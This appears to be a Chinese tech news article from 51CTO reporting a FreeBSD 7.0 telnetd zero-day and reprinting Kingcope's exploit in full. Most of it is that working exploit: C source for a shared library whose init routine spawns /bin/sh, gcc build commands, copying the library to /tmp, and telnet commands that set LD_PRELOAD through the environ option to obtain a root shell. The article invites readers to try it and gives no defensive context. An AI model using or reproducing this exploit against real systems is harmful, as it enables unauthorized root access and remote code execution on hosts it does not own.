FreeBSD爆0day 远程能溢出本地可提权

原创
安全 漏洞
缓冲区溢出##远程攻击##立即处理[msg]没想到现在有人会研究,看到后惊叹了一下。是telnetd部分的问题,受影响的版本是FreeBSD7.0正式版。有兴趣的朋友可以调试一下。

没想到现在有人会研究,看到后惊叹了一下。是telnetd部分的问题,在FreeBSD7.0正式版测试通过,7.1似乎也有同样问题,但未经过测试。有兴趣的朋友可以调试一下,代码如下:

# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009

#include
#include
#include
#include

void _init() {
FILE *f;
setenv("LD_PRELOAD", "", 1);
system("echo ALEX-ALEX;/bin/sh");
}
---snip-----

Then we compile this stuff.

---snip-----
#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
---snip-----

Then we copy the file to a known location (local root exploit)

---snip-----
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
---snip-----

...or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.

---snip-----
#telnet
/>auth disable SRA
/>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
/>open target
---snip-----
ALEX-ALEX
#ROOTSHELL

【编辑推荐】

  1. FreeBSD未授权受限进程挂接漏洞
  2. FreeBSD Out Of Sequence包远程拒绝服务攻击漏洞
  3. FreeBSD fetch()整数溢出远程任意指令执行漏洞
责任编辑:王文文 来源: 51CTO.com
相关推荐

2009-12-04 19:14:50

2009-05-14 17:28:12

Linuxptrace 0day漏洞

2013-05-24 14:02:42

2016-10-31 23:00:58

MySQLMOF方法提权数据库安全

2009-05-19 16:45:15

Linux安全漏洞补丁

2011-02-28 09:34:55

2010-05-21 09:55:26

2015-08-31 10:09:34

2009-12-02 10:28:38

2009-07-06 13:15:07

2009-04-24 14:34:51

2009-04-24 14:08:25

2015-05-20 16:34:14

2021-04-26 10:09:11

0Day漏洞Google Chro

2021-04-13 16:40:18

0Day漏洞远程代码

2021-07-27 11:01:02

Windows

2017-02-07 11:00:26

2009-07-19 16:06:05

2021-10-06 13:48:50

0day漏洞攻击

2010-12-10 15:23:49

Linux漏洞
点赞
收藏

51CTO技术栈公众号